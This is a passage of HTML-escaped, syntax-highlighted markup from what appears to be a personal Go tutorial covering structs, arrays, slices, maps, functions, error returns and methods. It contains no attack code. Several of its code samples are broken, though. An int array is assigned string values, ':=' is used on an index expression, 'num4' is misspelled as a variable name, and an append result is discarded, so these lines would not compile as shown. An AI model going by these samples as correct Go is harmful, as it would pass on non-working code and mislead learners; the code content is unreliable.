&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt;{&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;.5&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt; = &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// {200, 200, 200}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;arrays&#34;&gt;Arrays&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;] = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;slices&#34;&gt;Slices&lt;/h4&gt;
&lt;p&gt;~&lt;em&gt;dynamic views&lt;/em&gt; of arrays&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;nums&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;// {2, 3}, nums2 is a slice, not an array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums2&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// nums became {1,5,3,4}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums3&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;} &lt;span style=&#34;color:#75715e&#34;&gt;// nums3 is a slice, the underlying array is hidder&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;length - current size of the view&lt;/li&gt;
&lt;li&gt;capacity - the size of the underlying array&lt;/li&gt;
&lt;li&gt;&lt;code&gt;make()&lt;/code&gt; - create slice with the given length/capacity&lt;/li&gt;
&lt;li&gt;&lt;code&gt;append()&lt;/code&gt;- &lt;em&gt;smart&lt;/em&gt; append, increases capacity when required&lt;/li&gt;
&lt;li&gt;&lt;code&gt;range&lt;/code&gt; - for iterating through iterables&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums4&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make([]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// {0} with capacity of 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nums4&lt;/span&gt;[:cap(&lt;span style=&#34;color:#a6e22e&#34;&gt;num4&lt;/span&gt;)] &lt;span style=&#34;color:#75715e&#34;&gt;// {0, 0}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;append(&lt;span style=&#34;color:#a6e22e&#34;&gt;nums4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// {0, 0, 1, 2, 3}, no idea of capacity, maybe 8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;range&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;nums4&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;%d. %d\n&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;maps&#34;&gt;Maps&lt;/h4&gt;
&lt;p&gt;Nothing special, &lt;code&gt;make&lt;/code&gt; can also used to create them.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;m1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;m1&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cica&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;m1&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;kutya&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;m2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cica&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;kutya&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;28&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;m3&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// check if key is included&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;v1&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;m1&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;egér&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;// v1 == 0, ok == false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;functions&#34;&gt;Functions&lt;/h4&gt;
&lt;p&gt;&amp;hellip; can be values too.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;add&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;applyWith2&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fn&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Error handling: return it!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;error&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;errors&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;New&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Cannot divide by zero!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Parameters are passed as &lt;em&gt;value&lt;/em&gt; by default, so copyed on function call - but you can explicitly use pointers to avoid copying or to be able to modify the original object.&lt;/p&gt;
&lt;h3 id=&#34;methods&#34;&gt;Methods&lt;/h3&gt;
&lt;p&gt;Go does not have classes, but you can define methods on types - not just structs, but any type defined in the same package. They are basically functions, with a &lt;em&gt;receiver&lt;/em&gt; argument.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`json:&amp;#34;red&amp;#34;`&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// example for tags&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`json:&amp;#34;green&amp;#34;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`json:&amp;#34;blue&amp;#34;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;Grayscale&lt;/span&gt;() &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt;{&lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt;}    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;Darken&lt;/span&gt;() { &lt;span style=&#34;color:#75715e&#34;&gt;// can use pointers as well&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;MyFloat&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;MyFloat&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;Abs&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; float64(&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; float64(&lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
